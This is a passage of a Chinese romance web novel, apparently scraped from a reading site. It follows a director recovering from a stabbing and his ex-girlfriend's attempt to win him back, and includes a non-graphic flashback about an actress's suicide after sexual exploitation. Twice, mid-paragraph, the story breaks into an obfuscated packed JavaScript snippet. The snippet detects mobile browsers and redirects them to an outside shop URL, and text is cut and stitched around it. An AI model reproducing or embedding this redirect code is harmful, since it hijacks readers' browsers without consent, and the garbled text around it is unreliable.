他闭眼安静躺着,眼睫很长,垂下一圈细密阴翳的影。是在昏迷中,还是睡着了,容颜比平常安静柔和许多,甚至显得柔软无害。 周冉说:“还没醒啊,我去问问护士。” 他退出了病房,随手带上门。 宜夏坐在病床旁,双手紧握,凝视着他的脸孔。 一缕发丝沾在他唇边,宜夏犹豫片刻,伸手帮他拨开。谁知手刚伸到他脸颊上方,还没碰到,他突然睁眼,猛然抓住她的手腕。 他用的是打着点滴的那只手,手背上的胶带顿时崩开,针管刺进皮肉里,迅速带出一段殷红。 宜夏呆了,对上他浓黑的眼睛,张了张口。 过了半分钟,谈雪昼脸上紧绷的表情缓慢收敛,看着她,慢慢问:“你怎么在这里?” 抓住她手腕的力度缓缓松开。 宜夏小心收回刚刚被他捏住的那只手,藏在背后,轻声说:“正好在附近,看见热搜了我来看看。”又站起来,“那个,你没事就好了,那我就先走了……” “等等。” 宜夏抬眼。 “水。” 宜夏连忙给他倒了杯温水,捧到他面前。但他一只手不能用,另一只手刚刚点滴也挣脱了,宜夏犹豫了下,把水杯递到了他唇边。 他就着她的手喝了一口。 宜夏不小心碰到了他的下巴,有点慌张地搁下杯子:“你针头好像崩开了。那个,我去叫医生。” 她才站起来,周冉带着医生和护士推门进来。 护士给谈雪昼重新把针扎好,医生检查过后说没什么问题,不过抽血结果显示白细胞偏低,最好留在医院住院观察一晚上。 医护人员离开了病房。 周冉看了眼表,已经是凌晨两点多了。他揉了揉眉心,问谈雪昼:“明天的路演你就不去了吧,你休息两天。” 谈雪昼说:“小伤,没事。” 周冉说:“你就没把自己身体放心上,拍戏的时候天天熬大夜就算了,路演也连轴转安排,以为自己是铁人啊。” 宜夏没忍住,跟着小声附和:“伤筋动骨一百天,身体比较重要。” 谈雪昼转头瞥她一眼,轻飘飘的语气:“你不是要走?” 言下之意,怎么还在这?还不赶快走? 宜夏张了张口,只能闷闷地嗯了一声:“那我……先走了。” 周冉转头看向宜夏,这时候后知后觉,才发现两个人之间不同寻常的涌动氛围。 和之前见到时其他人无法插足的隐约亲密感并不相同,而是,类似于,前任见面的微妙感觉? 分手了吗?周冉想,谈雪昼没跟他提过啊,怎么回事? 是分手了,还是吵架了? 不管是什么,都不是他这个局外人能干涉的。 宜夏捏紧手袋,想了下还是补了一句:“对了……新年快乐。” 说完她就转身往病房门口走。 周冉看着她的背影,一时间闹不准怎么回事,摸不到头脑。 这就……完了?就真的是来看一眼? 突然后背被一只手握成拳头顶了下。 周冉猝不及防扭头,看见谈雪昼冰冰凉凉的神色。 这人撇过头闭上眼睛,一脸什么都没发生的表情。 宜夏已经走到了门口。 周冉赶紧上前一步,镇定地说:“等等宜老师。我还要去趟警察局,看看那个黑粉怎么回事。明天警察应该会来找你做笔录。那个,今晚要不麻烦你留在这照顾下谈导?” 宜夏回过头,有些惊愕:“我……我吗?” 这…… 谈雪昼没想到周冉会错意,睁眼看向周冉,气笑了:“我一个大老爷们,哪里需要人陪护了?” 周冉说:“不是,你刚刚还昏迷了呢,虚弱成这样,别嘴硬了。”他看向宜夏,“宜老师,真的麻烦你了,不然放他一个在医院我有点儿不放心。” 宜夏:“……” 谈雪昼干脆坐起来,不耐烦说:“她有事要回去。你送一下。” 他刚刚的意思就是让周冉去送一下,哪里知道周冉这也是够没眼色。 宜夏沉默片刻,鼓起勇气:“我其实……没别的事。” 谈雪昼扯了下唇角,凉凉看着她。 宜夏难以解释,片刻后镇定说:“那周总……我,留下吧。你要有事去警察局就赶快去吧。” 谈雪昼很不满,不是,他还没同意呢。 然而周冉就直接冲宜夏点了点头,千恩万谢:“宜老师那真的麻烦你了,稍微看着他点儿,对了别让他看手机,发邮件,工作什么的。那我先走了。” 他走后,宜夏抿了下唇,看向谈雪昼。 谈雪昼被这两个人搞得有点气闷,片刻后说:“站那干什么?自己找地方坐。” 宜夏犹豫了下,在他病床旁边的凳子上坐下,轻声解释:“我刚刚不是想走……是我怕你见到我,心情不好。” 谈雪昼目光落在她脸上,带点轻嘲:“既然这么觉得,为什么还来看我?” 宜夏勉强找了个解释:“就……顺路,看到网上消息了。” 顿了下,“周总把我留下了,我要对你负责,如果你不想见到我,你也先忍一忍。” 谈雪昼没想到她还挺强硬,凉凉说:“那如果忍不了呢。” “那……努力克服一下?” 谈雪昼:“……” 宜夏不知道干什么,只好掩饰性地低头看手机。 感觉两个人的气氛也是有够尴尬了。 路嘉灵给她发了条微信进来,宜夏手一快,按了外放: “我先回去了。绝世好机会你抓紧机会好好表现——” 宜夏立刻拨动了静音拨片,抬头觑了谈雪昼一眼。 他闭着眼,脸上没什么表情,不带情绪说:“周冉老是小题大做。我没事。你不用留在这里照顾我。” 宜夏:“……我起码,可以帮你看着输液管,不会回血。” “护士有监测。” 宜夏:“那说不定,你想喝水……或者想跟人说话。” 谈雪昼突然掀起眼皮:“我想上厕所。” 宜夏:“……?” 她张了张口,努力镇定说:“那,我找男医生进来陪你。” 谈雪昼嘲讽说:“你不是要照顾我吗?” “那我也、我也不能……” “不能什么?” 宜夏豁出去了:“也不能,趁你生病,占你便宜啊。” 谈雪昼没说话了,好一会,才轻飘飘开口:“不能占,你不是也占了很多次了?” 宜夏若无其事站起来,替他找男医生或者男护士进来。 上完厕所再出来,宜夏依然眼观鼻鼻观心坐在床边,只是头一点一点,已经困了。 谈雪昼坐回床上,淡声叫她:“宜夏。” 宜夏立刻抬起头,努力睁大眼睛:“怎么了,有什么需要吗?” “去那边床上睡。” 病房里除了病床,还有一张陪护的床,上面的被子也很干净。 宜夏说:“没事,我不困,你要是还有别的什么需要,就叫我。” “你是不是想占我便宜?” 宜夏张了张口,百口莫辩了:“不是……我怎么,我哪里?” 我哪里表现得很不正常,很像想占你便宜的样子了? “你困成这样,又撑着不睡,不就是想趁我睡着了之后,装作已经困糊涂了,对我……做不好的事。然后,还可以假装自己很清白。” 宜夏:“……我什么时候对你做过不好的事了。” 不要脑补好不好。 谈雪昼完全沉在自己的逻辑里不受影响,继续说:“所以,赶紧去睡。” 宜夏无法反抗他的逻辑,只好自己去把陪护床的被子铺好,躺进去。 然后又从被子里爬出来,先给谈雪昼把病床旁边的小夜灯打开了,再才关了病房里的大灯。 谈雪昼全程安静,没再说让她感觉奇怪的话。 宜夏缩在被子里,耳朵能听见病床旁边仪器平静无波的运转声,也能听见他平稳的呼吸。 她有点睡不着,也是很感慨,没有想到,跨年夜竟然会和前男友睡在同一个房间里。 虽然,是医院的病房。 她悄悄拿出了手机,背对着他打开了微博。 微博这会儿全是他的消息。团队已经下场说明了情况不严重,通报了黑粉的具体情况,说等待警方进一步通报。不过,还是有很多小道消息乱飞,营销号活跃,一会儿说他已经被捅死了,一会儿又说那个黑粉刀上有艾滋病毒,乱七八糟的说得很吓人。 宜夏看了一会儿,翻过身,看了看他:“你睡了吗?” “嗯?没有。” “网上现在很多粉丝担心你,你要不要发个微博什么的,跟大家说一声。” “我动不了。” 宜夏说:“那我,登你手机,替你发?” 谈雪昼掀起眼皮,瞥她一眼,把手机丢给她。 他的锁屏是一只蹲在绘本上舔手掌的玳瑁猫,年龄很大了。解锁之后进入主页面,宜夏一怔。 手机背景是一张照片。 是那次他们去清塘岛野外勘景拍的,画面里大片的新绿色树林,在阳光下呼吸起伏,画面焦点是……她的背影。 那次,她提议要做他的模特帮他试光线,他不是拒绝了吗? 什么时候拍的。 什么时候喜欢上她的,难道比她想象中更早吗? 为什么没有换掉? 不会觉得别扭吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984410|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是懒得换,还是……对她,没那么讨厌? 一连串问题,搅得她心神不宁。宜夏心情有点复杂,点进微博,发现不是他的大号。 是个头像默认的小号,昵称是一串拼音。 宜夏瞟了一眼,没好奇地点进去看,直接切成了他的大号。 她斟酌着编辑了一下,问谈雪昼:“我就说你情况良好,没什么大碍,让大家不要担心,可以吗?” “随便。” 宜夏编辑完之后发了出去,退出,把手机再放回他床边。 她有些迟疑:“你刚刚登录的好像是小号,我看见了你的头像和ID。不过我没点进去看。” “嗯。” 宜夏也不知道说什么好了,干脆闭上眼睛,酝酿睡意。 但怎么也睡不着。 谈雪昼这个人的存在感实在是太强了。 她一闭眼,就能看见,他手机锁屏背景上她的照片。 虽然身边人都跟她分析,说他其实还喜欢她。 但她不敢抱这样的期望,她也宁愿,他其实很讨厌她。 否则,她会更觉得自己辜负了他。 一股不知道哪里来的勇气突然冲上头脑,她再次出声:“谈雪昼,你睡着了吗?” 他声音凉凉的:“又有什么事?” “你手机背景,我刚看见了,好像是我的照片。” “是吗?”谈雪昼很淡定,“好像不是呢。” 宜夏没想到他竟然能睁眼说瞎话,顿时不知道说什么好了:“明明就是……你不要不承认。” “我为什么要把一个跟我关系很一般的女人照片,设置成我手机背景?我们很熟悉吗?” 宜夏:“……那、那我怎么知道你为什么要这么做。但你就是做了。” “你看错了。” 她无话可说,郁闷了:“行,那你说什么就是什么。” - 第二天宜夏醒得很早。 她醒来时,谈雪昼还没醒。她轻手轻脚下床,去卫生间洗漱。VIP病房的卫生间里有一次性的洗漱用品,她拆了一包,正刷着牙,听见外面有喧闹的声音。 她快速刷完出去看,病房里不止进来了医护人员,还有周冉,以及两个民警,一早出外勤来医院给谈雪昼做笔录。 做笔录的时候不允许有其他人在场,宜夏出去,和周冉等在外面。 周冉看她脸色有点憔悴,说:“宜老师,昨晚辛苦你了。我刚问医生了,今天检查要是没事,就可以出院了。” 宜夏问:“那个黑粉应该被拘留了吧?” “拘留他算便宜他了。” “是什么人啊?这也太过分了。” “不是什么人,是辛漪的粉丝。”周冉转头,看宜夏表情有点懵,却不愿意再多说,“没事,不用担心,人早就被拘留了。” 辛漪…… 这个名字,宜夏当然知道,是前几年风头正劲的小花旦,谈雪昼一手捧出来的,内娱最后的正经刀马旦。 因为心脏病的原因猝死在公寓里,引起了很大的关注。 辛漪跟谈雪昼有什么关系吗? 宜夏没有多问,犹豫了下,轻声问:“周总,你知道谈老师他家里的情况吗?” “什么?他家里怎么了吗?” “他昨天受伤,闹那么大,好像家里都没有人给他打过电话。” 周冉沉默片刻:“谈总家里情况比较复杂,这个我也不是很了解,他不怎么跟我们说的。”顿了下,开玩笑一样的说,“我只知道我们谈,要是电影拍不好要回去继承千亿家产。” 宜夏迟疑:“千亿?” 这数字,她都不敢想。 周冉比了个“八”的手势:“这个数字打头。” 宜夏:“……” 可是谈雪昼看起来,有时候也不太像那种刻板印象里的豪门贵子。他其实还挺平易近人的,什么都不挑剔,很好养活,脾气还好,和他喜欢的猫一样。 如果说刻板印象里豪门少爷小姐是名贵品种猫的话,他其实挺像玳瑁的,色彩不羁性格友善,最主要是,其实是土猫的一种。 宜夏想了下,要是她有个八千亿。 不是,哪怕八千万,她都会担心别人接近她是为了她的钱。 谈雪昼竟然对她那么没警惕心。 ……怪不得被她这种爱情骗子骗。 - 做完笔录,医生检查没什么问题,谈雪昼办了出院。 宜夏功成身退,在医院门口打算告别,自己打个车回公寓。 谈雪昼没说什么,周冉替他开口:“宜老师,你打车做什么,我们顺路送你啊。” 宜夏见谈雪昼没说话,迟疑了一下没推辞。 谁知道,周冉却说有事,没上车。 于是车上只有司机,谈雪昼跟宜夏一起坐后座。 车启动后,宜夏一下不知道说什么了,干巴巴说:“不然,就在前面放我下去吧,我正好有点事。” 谈雪昼问:“什么事?” 宜夏编不出来,还没吭声,谈雪昼声音冰凉,问:“跟我待在一起,这么不自在?” “没有……我就是,”她顿了下,“怕你不想看见我。” 谈雪昼突然打断:“宜夏,你一直自说自话,究竟什么毛病?” 宜夏怔了:“什么?” “我要是不想看见你,昨晚你以为你能到病房里?你以为我会留你住下来?你以为,我对谁都这么好脾气?” 宜夏愣住,一下不知道说什么好。 谈雪昼语气有点不耐烦:“你到底在想什么?” 宜夏咽了下口水,在他微微嘲讽的眼神下,闷闷说:“我没想什么。” 发作过了,谈雪昼没再说话,车厢里陷入了一阵沉默。 宜夏心情煎熬。 脑子里已经开始回想他刚刚的话。他的意思其实是他愿意见到她,没理解错吧。 他其实,不讨厌她。 哪怕她做了那些伤害他的事,也没计较。 想到这里,宜夏脑子有点发热。 她重重咬了下唇瓣,转过脸,声音微微发抖:“谈雪昼。” “怎么?” 宜夏看向他漆黑的眼睛,鼓起勇气:“就是,我知道我挺差劲的。你讨厌我也很正常。不过,我就是,”她咽了下口水,“想跟你道个歉。不过也不是很重要,我就是想跟你说一下。你可能觉得我挺莫名其妙的,如果你——” 谈雪昼打断了她的自我贬低,问她:“然后?” “什么然后?” “道歉,然后呢?” 这还需要什么然后吗。 宜夏沉默片刻:“那你……接受吗?” 谈雪昼沉默了。 车厢里气氛一下冷下来。 宜夏煎熬得不得了,不该一时冲动突然说这种话的,不仅没什么尊严,而且把两个人好不容易有点好转的气氛搞得很尴尬。 她情绪一下变得低落,勉强挤出笑容:“就是,我知道我在你这还挺,没信誉的,你不用——” “有没有信誉是我说了算。”谈雪昼再次打断,“但你能态度明确点儿吗?” 宜夏怔怔抬头看他。 “不要一会儿试探,一会儿又缩回去。” 宜夏这一秒忘记了迟疑和犹豫,很明确地说:“那我,想再追你一次。认真的。可以吗?” 谈雪昼移开眼睛,半天没说话。 宜夏垂下眼帘,一颗心随着他的沉默被不断抛起。又好像被一只手缓缓捏住,不断收紧。 酸涩难言。 就在心脏将要胀裂的前一秒,他很短暂勾了下唇角,盯着窗外,漫不经心说:“那你就,尽情来追。让我看看你有什么手段和花样。” 61. 想把你比作春日 - 谈雪昼什么意思。 就是允许她追他吗? 司机按照导航把车停在公寓楼下。 宜夏下了车,站在原地整理了下外套的帽子,绕到另一边,敲了敲谈雪昼的车窗。 谈雪昼的脸孔缓缓露出来,眉眼英挺,情绪浅淡,目光凝在她身上。 宜夏深呼吸,郑重问:“谈老师,你一般喜欢人怎么追你?” “怎么,你想作弊?” “……那,至少也要给我一个正确的方向。”她低声说,“我想知道你的意见。我知道之前我做的不对,不尊重你,我已经认识到错误了。” “自己想。” 宜夏:“……” 轿车绝尘而去,宜夏站在原地,两只手窝在口袋里默默地看着,心情却莫名的雀跃。 不管怎么说,他是同意她追他了。 也就是说明,他其实不讨厌她。 - 在医院的时候,医生交代过谈雪昼手臂上的药要一天换一次。 到下午,宜夏思前想后,点开了跟他的聊天框。 【谈老师,你在家吗?要不要我来帮你换药?】 很快,那边发来一条懒散的语音。 【行吧。】 【给你这个追求我的机会。】 宜夏:“……” 她还真没办法反驳,因为,她现在确实是在追求他。 她坐回梳妆台前,犹豫了下,化了个淡妆,又在手腕喷了点香水。换了身束腰的克莱因蓝大衣,才打车出门。 让司机在路边拐角处一个花店停了片刻,她买了一枝最喜欢的橙玫瑰,打算带给他。 本来她是想买红玫瑰的,一想,不太好意思给他太大心理压力。 半小时后,入户电梯把宜夏送上了嘉华汇的顶楼。 房门已经提前打开了。宜夏在玄关换了鞋,站在门口,试探着问:“谈雪昼,你在哪里?” 听见他冷清的声音从房间内侧传来:“衣帽间。” 宜夏循声推开衣帽间的门。 那衣帽间宜夏之前来的时候没进来看过,推开才发现里面空间格外开阔。 内嵌线性灯光线柔和清晰,安静垂落。两侧都是玻璃柜,一侧的收纳格高低错落,衬衫、外套、裤子、鞋帽,按照顺序和颜色整齐排列,另一侧则是各种装饰品,手表、袖扣、领带、胸针,闪闪发亮。宜夏其实不大懂手表的牌子,但很明显能看出来,有几枚一看就是那种全球限量的款式,大八位数,价值几套房。 宜夏收回自己之前觉得他不太豪门的感觉。 他只是不表现出来。 被衣帽间的闪光迷乱了眼睛,宜夏一时间竟然没看见谈雪昼在哪里。 下一秒,眼神定格,才发现他站在一盏垂落的台灯隐藏的昏暗处,半明半暗之间,正在……呃,单手换衣服。 身上只剩一件衬衫,已经脱到了一半,露出紧致的腹肌,人鱼线线条清晰深刻,凹陷的纹路如同雕塑。 宜夏脸一下炸红,连忙后退:“不好意思不好意思!” 却被脚下一块灰色沙发绊倒,一下跌在上面。 谈雪昼瞥她一眼:“装纯?” 宜夏:“……” “我呢,现在心情还行,所以允许你在这里观赏。” 宜夏干巴巴:“谢谢,但是……还是不用了吧。” 谈雪昼突然叫她:“过来。” 宜夏一呆:“不是,那个,我这个人还是很正直的,经得起诱惑。” 谈雪昼隐约勾了下唇角,表情却是浅淡的:“让你过来。不是要帮我换药吗?” 原来是换药。 宜夏还以为是他邀请自己对他上下其手呢。 他把衬衫脱了,赤着上身,表情却坦荡。 宜夏脸烧红成一片,低下头,镇定地解他手臂上的绷带。解开绷带,她才发现,那不是一道小伤口,十多公分的伤口长度,缝了十多针。鼓起的肌肉线条很流畅,只是手臂外侧那条伤口,还在渗着血迹。 宜夏拿过药粉,轻声交代:“有点疼,我会尽量轻一点。” “嗯。” 伤口在手臂外侧,他自己不好换药,确实需要一个人帮忙。宜夏小心翼翼地洒上药粉,突然听见他嘶了一声。 “我弄疼你了吗?” “嗯。” 宜夏怔了一秒:“那你忍一忍……好像是会很疼。” “挺疼的。”谈雪昼声音散漫,“不想上药了。” “那怎么行。”宜夏着急,“那你先忍一下,上完之后,我给你一个礼物行不行?” “什么礼物?” 宜夏又不好意思说出口了。 因为,那只是一朵,普通的玫瑰花。 她低眉顺眼地上完药,他后面也没叫疼了。 重新缠干净绷带的时候,宜夏提起:“周总跟我说,伤人的那个黑粉是辛漪的粉丝。辛漪的粉丝,为什么要伤你啊?” 谈雪昼唇角的笑容缓慢收敛,淡淡的:“因为辛漪是在我的剧组里出事的。” “但她不是突发心脏病吗?”宜夏探寻地看向他,“这个,你也无能为力吧。” “不是。”谈雪昼垂下长长的眼睫,情绪不太好,“是我做得不好,是我没有注意到她的问题。如果我注意到她不太对,可能她……她不会死。” “这跟你有什么关系,你又不是医生,你为什么要自责?” “不是,宜夏,有很多细节你不知道。”谈雪昼开始单手穿衬衫,声音很低,“不要提她了。可能离开对她其实,不是坏事。” 宜夏没有再问。 可是却能从谈雪昼的话里明显感觉到,辛漪可能其实不是心脏病猝死的。她的死应该有别的,绝大多数人都不知道的内幕。 宜夏起身去外面玄关,把那枝包装得很精致的橙玫瑰悄悄插在了玄关柜子上的水晶花瓶里。 谈雪昼穿好衣服,从衣帽间里出来,见她站在玄关,一挑眉:“这就要走了?” 宜夏局促问:“那,我还有什么可以帮你的?” “你追人就这么耿直?以前的那些撒娇耍赖手段呢?” 宜夏咬了下唇:“我不是怕你不喜欢吗。”她迟疑地问,“那你喜欢我那样吗?还是这样?” 谈雪昼懒得回答她这些问题。 宜夏小心措辞:“我就是怕你觉得我之前那样太轻浮了,不尊重你。其实我想过了,我觉得我之前确实不太好,所以,这一次我是想,如果你觉得我哪里做得不好,你不喜欢的话,我就会马上停下来。我不知道正常应该是怎么谈恋爱的,所以,你可以教教我。” 谈雪昼沉默片刻。 眼神因为她的话逐渐柔和,他看向旁边,沉默片刻,才说:“你没必要在我面前,这么小心翼翼。” 宜夏看着他,片刻后,轻轻嗯了一声。 “谢谢。” 谈雪昼短促地笑了一声,抬起手,乱七八糟地把她头发揉成一团,声音却克制:“不用谢。” - 宜夏回去的路上,一直在回味那个称不上肢体接触的接触。 就是揉一下头发而已。 却,特别的亲昵。 其实他种种表现,宜夏要是感受不到他还喜欢自己,那就是傻子了。 只是,她心里还是有很强的顾虑。 她很希望能让他真的看到自己的改变,让他知道她已经认识到了错误,不会再轻佻不尊重,对这段感情是抱有真心的。 所以,她这次,会好好地征求他的意见,循序渐进地追求他。她想要给他正常的感情的进度。哪怕他依然喜欢她。 正是因为他喜欢她。 她才更不能辜负。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996786|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > - 宜夏刚到家,收到了谈雪昼的微信。 拍了张照片,是她悄悄插在水晶花瓶里的那朵橙玫瑰。 配一个简单问号。 宜夏很镇定地回他: 【送你的。】 谈雪昼: 【。】 发个句号什么意思? 到底是喜欢还是不喜欢?谈雪昼这个人确实挺难懂。 宜夏: 【不好看吗?那我下次换个品种?】 谈雪昼说: 【就一朵?】 宜夏问: 【那你想要几朵?】 谈雪昼那边发来语音,声音很低,漫不经心: 【追人不能太小气】 宜夏耐心问: 【那,我明天给你送一束?橙玫瑰你喜欢吗?】 谈雪昼说: 【一朵就行。】 【但要每天都送】 【这样我才能看到你的诚意】 宜夏有点纠结: 【每天都送的话,要是你去外地了怎么办?】 谈雪昼有点无语她的耿直了,直白说: 【最近都在江流】 宜夏立刻说: 【那我明天给你换药,继续给你带。】 犹豫了下,又试探说: 【要是之后不用换药了,我还能来送吗?】 谈雪昼说: 【做人呢要学会一个词】 【持之以恒】 【像我一样】 宜夏: 【……】 懂了。 其实意思就是。 他也想见到她。 不会觉得她经常出现很烦。 真是说话曲里拐弯的委婉。 宜夏有时候觉得,他好可爱。 - 接下来几天,宜夏每天都去给谈雪昼换药,顺便给他带一枝橙玫瑰。 每次也只是换药,没说什么别的,也没干什么别的。 两个人的关系好像渐渐弥合,宜夏感觉气氛逐渐回暖。 他手伤没好,这段时间都待在江流,遥控路演,算是休息。 最后一次去换药,他手上的那道伤口已经完全愈合。换完药,谈雪昼边穿衣服,边懒散地告诉她,他明天要去北京,她就不用再来换药了。 宜夏呆了下,有点无所适从。 没有了每天见面的这个借口,又要另外想理由,宜夏不知道该怎么办,怔怔问:“那,我不是要每天给你送花吗,你去北京了我怎么送。” 谈雪昼抬手,压在她头顶,凉凉说:“自己想。” 自己想。 怎么做。 宜夏总不能跟着跑去北京吧。 她也没那么恋爱脑,《清塘山岛日记》的后期她根本走不开。 但她又担心因为一些外部障碍就放弃,会显得她很不持之以恒,很没有诚意。 隔天,他去了北京。 宜夏在热搜上看见了他。 晚上,她斟酌很久,给他发了一个【玫瑰花】的表情。 隔了一阵他才回她: 【?】 宜夏镇定说: 【发给你看看】 【等你回来了,再给你补真的。】 说着她又拍了张养在花瓶里的橙玫瑰照片。 【没骗你】 【我都养着呢,养得很好的。】 谈雪昼那边慢条斯理发来一条语音: 【行。】 【算你有诚意。】 顿了一下,那边又说: 【这段时间我不在江流。】 【你有时间的话帮我照顾一下瑁妹,陪她玩一会儿就行。】 宜夏心情突然变得很好。 这好像,是一个,非常积极的信号。 62. 想把你比作春日 - 北京的路演结束后,谈雪昼人也没回江流,而是跟着剧组的行程,继续跑其他的路演。行程没刚上映时连轴转那么紧,一天就一场,中间有空,应惟昭约他稍微放松一下。 也是听说他前段时间受伤,想知道怎么回事。 他到了场子之后,发现人还挺多,都是一个圈子里的,熟悉或者不熟悉的年轻二代们,纷纷跟他打招呼。 谈雪昼径直找到应惟昭,踢了他一脚,他懒洋洋地挪开一个位置,问:“前几天怎么回事?那黑粉是真黑粉,还是你家里哪个叔叔舅舅的找的人?” 应惟昭家里情况比谈雪昼复杂多了,从小接受残酷的继承人教育,在水深火热之中长大。所以才能跟谈雪昼这种性格散漫不想继承家业的非典型二代做朋友。 谈雪昼也没解释,漫不经心地低头看手机。 应惟昭又问他:“真是辛漪的粉丝?你还跟人和解,让警察提前把人放出来了?” 谈雪昼懒懒嗯了声。 应惟昭敛起表情,默然片刻:“你是不是,还是觉得辛漪的死是你导致的?你清醒点,她自杀跟你没有关系。她是成年人,她应该自己保护自己,保护不了,也该寻求其他人或者警察的帮助。” 谈雪昼看着场子里跳跃的射灯,片刻后说:“是我没发现她的求救。如果不是我让她来演我的电影,她可能,还好好地活着。” “谈雪昼!你以为你是谁?以为自己是救世主吗?” “……” 谈雪昼没有说话,出神盯着虚空某处,保持了长久的沉默。 他只是突然想起了辛漪。 他对自己用过的演员们,其实都没什么特殊感情。对导演来说,演员无非是道具而已。也许有些导演能从演员眼里看到故事,看到灵感,看到欲望,看到冲突,会把演员视作自己的缪斯。但他不是,他单纯是选择适合自己故事的人物来演绎自己的故事,在他的电影里,演员确实处于不大需要自我创作的道具地位上,这也是他被很多影评人批评的地方。 辛漪是他用得很顺手的一个女演员。 他拍第二部电影,就跟辛漪合作了,他是在横店群演人群中发现她的。 她学过武术,武打动作漂亮,很长一段时间在横店做武打替身和武术指导,混口饭吃挺不容易。 小演员,被很多人轻贱,第一次见的时候,她那个剧组道具组出了事故,导致她从高处摔了下来,灰头土脸,沾了半边脸的血,痛得话都说不出。 当时他路过,让人帮忙送她去了医院。 没过多久,她养好了身体,跑来他的剧组自荐,说可以当武替,也能做光替。 她能吃苦,人勤奋,肯努力,为人处世都很成熟,是所有导演都能用顺手的那一类演员。 后来谈雪昼才知道她家里的情况,刻苦早慧的女孩子,有一个很经典的悲情身世:父亲去世,母亲生病,弟弟游手好闲,家里债台高筑。 靠她一个女孩子,早早辍学在横店当群演来养家糊口。 谈雪昼于是给了她机会,她也抓住了,从他的配角演起,演到主角,被所有人看见,爆红,成了内娱最后的刀马旦。 最多的时候她抓紧一年演四五部电影,过年的时候还在剧组,但也不忘记打电话问候他,感谢他当初的提携。 故事一直到这里,都是上升的。 谈雪昼没有发现她一路昂扬背后,到底正在经历什么。 事实上,一直到她留下遗书自杀之前,谈雪昼对她的印象,一直是合作过的、过得很辛苦但和努力的一个女演员。 对她印象不错,所以,他要开《致命追杀2》,她来试镜,他拍板定了她。然而剧组所有演员进行封闭训练,要在一个基地里训练三个月,她表现却很差劲,频频请假离开基地。 谈雪昼对她作为女主擅自破坏规则很不满,告诉她,再请假离开,她可以离开剧组,他会另外找新的女主角。 那天她没有通知他,没有请假,擅自离开了基地。 隔天下午,她的经纪人通知他,说她在公寓里自杀了。 留下三封遗书,一封是给弟弟的,一封是给妈妈的,最后一封是给他的。 她在里面写了很多内容。 写她的家庭,写她的挣扎,写她的不敢示人的无望的爱慕,写她吃过的苦,写她遭遇的惨淡,写她以为人生不全是痛苦,却发现全然如此,写她可悲人生唯一的幸运,写她决定解脱,不再面对这个充满痛苦与挣扎的世界。 最后她写,希望这些经历,这些倾诉,不会让他难过。 因为,她唯一的幸福就是曾经演过他的角色,在他的剧组里她第一次觉得自己拥有希望和未来。所以,她希望他能一直幸福,做自己想做的事。 不用为她难过,她得到了解脱。 ——她演他的女主角爆火之后没多久,就开始遭遇经纪公司长时间的压榨和欺凌。 她签的经纪公司是业内巨头,掌握了出版、传媒、艺人经纪、文化传播等等诸多领域,哪怕她已经爆红,在公司眼里依然不过是个小演员、小艺人。 压榨欺凌过后,是无法忍受的潜规则。 她被叫去各种饭局上,给人陪酒,后来就不得不与人发生关系,有一次,甚至被逼迫同时和三个人发生关系。 这一段,她在遗书里写得很乱。 谈雪昼也不忍心细看。 她不想给任何人添麻烦。 没人知道其实她已经重度抑郁。 她自杀后,虽然知情人都安慰谈雪昼,但他还是觉得是他害了她。 因为是他选中她成为《致命追杀2》的女主角。她训练之后,作息变得正常规律很多,重度抑郁的情绪竟然消退。所以,她再度受到刺激之后,才会有行动力选择自杀。 谈雪昼后来很长一段时间经常想,如果自己能发现她一次一次的请假究竟去做了什么,能看见她身上的伤痕和笑容背后的悲凉,事情会不会不那么糟糕。 或者…… 他没有在横店看见她,帮她,她会不会依然艰难但坚强地活着。 她走得很决绝。 知道内情的人不多。 谈雪昼在她离开之后,第一次跟家里低头。于是那家欺凌过她的公司很快在资本市场节节败退,现在已经接近退市边缘;伤害过她的人,也因为税务、经营、操纵资本市场、内幕交易老鼠仓等等原因陆续入狱。 但是,辛漪确实已经死了,再也回不来了。 最令人难过的,不是他没能救她。 而是,他本来可以救她。 - 接连几天,宜夏都只是在热搜上看到谈雪昼的消息。 她每天按时给他发她养的玫瑰花。 花瓶里从一朵,渐渐变成了一捧。 她也每天忙完之后,去嘉华汇陪瑁妹玩耍。 他其实有让人照顾瑁妹,根本不需要她额外的照顾。所以,他让她去看瑁妹,代表着他不再介意之前很多事情了。 宜夏陪瑁妹玩,拍了一些视频给他。 瑁妹真的是一只特别活泼的小猫,天天在家里跑酷。哪怕嘉华汇足足五六百平米,它也能哪里都跑个遍。只不过,有一个房间上着锁,瑁妹始终没能进去。 瑁妹就对这个上了密码锁的房间格外好奇,特别钟爱,每天跑到门口,都要蹲在那里喵喵叫两声,试探着叫宜夏给它开门。 被缠得不行了,宜夏给谈雪昼发了段视频,问他能不能开门让瑁妹进去。 谈雪昼隔了一会儿回她: 【不行。】 宜夏下意识打字问为什么,又把“为什么”删掉,发了个“噢”过去。 每个人都有隐私,这个房间里应该是谈雪昼的一些隐私回忆之类的,不想让人知道也很正常。 谈雪昼那边也没解释,匆匆收了线,应该是正在忙。 宜夏看了眼那扇门。 其实她也有点好奇。 不过她知道不多问。 说到好奇…… 她突然想起那天帮谈雪昼发微博,不小心瞥见的他那个小号。 她后知后觉感觉到有点奇怪,总感觉他应该是不爱发社交媒体的那种人,毕竟微博都发得很少,朋友圈也不怎么发。怎么会有个小号呢? 窥探他的小号,算偷窥隐私吗? 